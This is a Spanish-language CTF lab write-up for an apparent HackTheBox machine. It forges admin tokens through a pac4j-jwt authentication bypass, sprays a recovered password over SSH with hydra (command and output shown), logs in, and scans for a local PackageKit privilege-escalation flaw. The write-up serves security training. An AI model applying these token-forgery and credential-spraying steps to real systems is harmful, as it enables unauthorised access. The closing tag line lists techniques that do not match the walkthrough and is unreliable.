Al entrar a la página, encontramos un panel de login hacia lo que parece ser un panel de control. Se indica que se está usando la versión v1.2.0 y pac4j.
La versión de la plataforma parece irrelevante porque no es un servicio estándar y posiblemente sea uno custom para la máquina. Pero si buscamos más acerca de pac4j-jwt/6.0.3:
pac4j-jwt/6.0.3 es vulnerable a CVE-2026-29000. Se trata de una vulnerabilidad que permite hacer un bypass de autenticación, con CVSS 9.3 CRITICAL (Github):pac4j-jwt versions prior to 4.5.9, 5.7.9, and 6.3.3 contain an authentication bypass vulnerability in JwtAuthenticator when processing encrypted JWTs that allows remote attackers to forge authentication tokens. Attackers who possess the server’s RSA public key can create a JWE-wrapped PlainJWT with arbitrary subject and role claims, bypassing signature verification to authenticate as any user including administrators.
Encontramos un PoC público disponible, pero para usarlo necesitamos conocer el endpoint jwks. Podemos probar el que se usa normalmente, /api/auth/jwks, y vemos que es el correcto.
Ahora que conocemos el endpoint, podemos usar el exploit.
El exploit nos permite obtener un token de autenticación como cualquier usuario y con cualquier rol, aunque el problema que tenemos ahora es que no conocemos el usuario como el que queremos autenticarnos, ni un rol válido.
Podemos probar con los más comunes a fuerza bruta, hasta que funcione uno. Los que usa el exploit por defecto son User admin y Role ROLE_ADMIN.
Para probar a mandar el token, tenemos que encontrar cómo se manda al servidor o dónde espera recibirlo. Si miramos en BurpSuite, vemos que cuando intentamos iniciar sesión, de primeras no se manda nada con Authorization: Bearer ..., ni tampoco se manda ninguna cookie.
Si miramos el código javascript de la página en static/js/app.js, veremos cómo espera recibir la página el token y bastante más información:
/**
* Principal Internal Platform - Client Application
* Version: 1.2.0
*
* Authentication flow:
* 1. User submits credentials to /api/auth/login
* 2. Server returns encrypted JWT (JWE) token
* 3. Token is stored and sent as Bearer token for subsequent requests
*
* Token handling:
* - Tokens are JWE-encrypted using RSA-OAEP-256 + A128GCM
* - Public key available at /api/auth/jwks for token verification
* - Inner JWT is signed with RS256
*
* JWT claims schema:
* sub - username
* role - one of: ROLE_ADMIN, ROLE_MANAGER, ROLE_USER
* iss - "principal-platform"
* iat - issued at (epoch)
* exp - expiration (epoch)
*/constAPI_BASE='';
constJWKS_ENDPOINT='/api/auth/jwks';
constAUTH_ENDPOINT='/api/auth/login';
constDASHBOARD_ENDPOINT='/api/dashboard';
constUSERS_ENDPOINT='/api/users';
constSETTINGS_ENDPOINT='/api/settings';
El JWT debe tener un nombre de usuario válido, un rol (para nuestro caso, ROLE_ADMIN), un issuer (principal-platform), y tiempo de emisión y expiración.
Así que generamos un JWT con el exploit que contenga todo lo necesario (lo que no se indica explícitamente lo pone de forma automática el exploit):
De todas formas, es posible que la página principal no requiera el token y simplemente nos pida iniciar sesión con las credenciales, puede ser que el token sirva para otro servicio.
Dado que el token no funcionaba en la página principal, vamos a algunos de los endpoints API, p.ej, /api/settings. Si solicitamos la página, vemos que efectivamente pide un token:
Y vemos que, con el usuario admin, efectivamente ha funcionado. Ya tenemos la forma de conseguir tokens válidos, y también hemos conseguido la clave de cifrado de los tokens (D3pl0y_$$H_Now42!).
Aprovechando la situación, podemos hacer una solicitud al endpoint /api/users para enumerar algunos usuarios.
Ahora que ya hemos recolectado ciertos datos, podríamos probar a meter todos los usuarios en una lista, y, si con suerte se han reutilizado credenciales, quizás alguno de ellos use D3pl0y_$$H_Now42! como contraseña en SSH.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
$ cat users
admin
svc-deploy
jthompson
amorales
bwright
kkumar
mwilson
lzhang
$ hydra -L users -p 'D3pl0y_$$H_Now42!' ssh://principal.htb
Hydra v9.6 (c)2023 by van Hauser/THC & David Maciejak - Please do not use in military or secret service organizations, or for illegal purposes (this is non-binding, these *** ignore laws and ethics anyway).
[DATA] attacking ssh://principal.htb:22/
[22][ssh] host: principal.htb login: svc-deploy password: D3pl0y_$$H_Now42!
Y, en efecto, tenemos unas credenciales, svc-deploy:D3pl0y_$$H_Now42!.
Probamos las credenciales y…
1
2
3
4
5
6
7
8
9
10
11
12
$ ssh svc-deploy@principal.htb
svc-deploy@principal.htb's password:
Welcome to Ubuntu 24.04.4 LTS (GNU/Linux 6.8.0-101-generic x86_64) * Documentation: https://help.ubuntu.com
* Management: https://landscape.canonical.com
* Support: https://ubuntu.com/pro
This system has been minimized by removing packages and content that are
not required on a system that users do not log into.
svc-deploy@principal:~$
Contando con que la máquina tiene dos meses, es muy probable que con CopyFail o DirtyFrag podamos llegar a root en un par de pasos, pero por respeto a (prácticamente todas) las máquinas de HTB de Linux que serán vulnerables, vamos a buscar una alternativa.
# Comprobamos que está todosvc-deploy@principal:/tmp/trivyd$ ls
trivy trivydb.tar.gz
# Descomprimimos la base de datossvc-deploy@principal:/tmp/trivyd$ tar -xf trivydb.tar.gz
# Creamos directorio db, trivy lo necesita para encontrar la base de datos.svc-deploy@principal:/tmp/trivyd$ mkdir db
svc-deploy@principal:/tmp/trivyd$ mv metadata.json trivy.db db
# Lo ejecutamos y guardamos en un archivo el resultado../trivy rootfs --offline-scan --skip-db-update --cache-dir /tmp/trivyd --scanners vuln --severity CRITICAL,HIGH --format json --pkg-types os / 2>/dev/null > resultados
# Miramos el resultadogrep 'privilege esc' resultados | sort -u
Al abrir el análisis, encontramos lo siguiente:
CVE-2026-41651: TOCTOU race in PackageKit’s transaction handler. Any local unprivileged user can install arbitrary packages as root with no authentication.
OS: Linux | Dificultad: Easy | Conceptos: Spring Boot Actuator, Session Hijacking (JSESSIONID), Command Injection HTTP/SSH, extracción de credenciales en JAR, PostgreSQL, reutilización de credenciales, privilegios sudo en SSH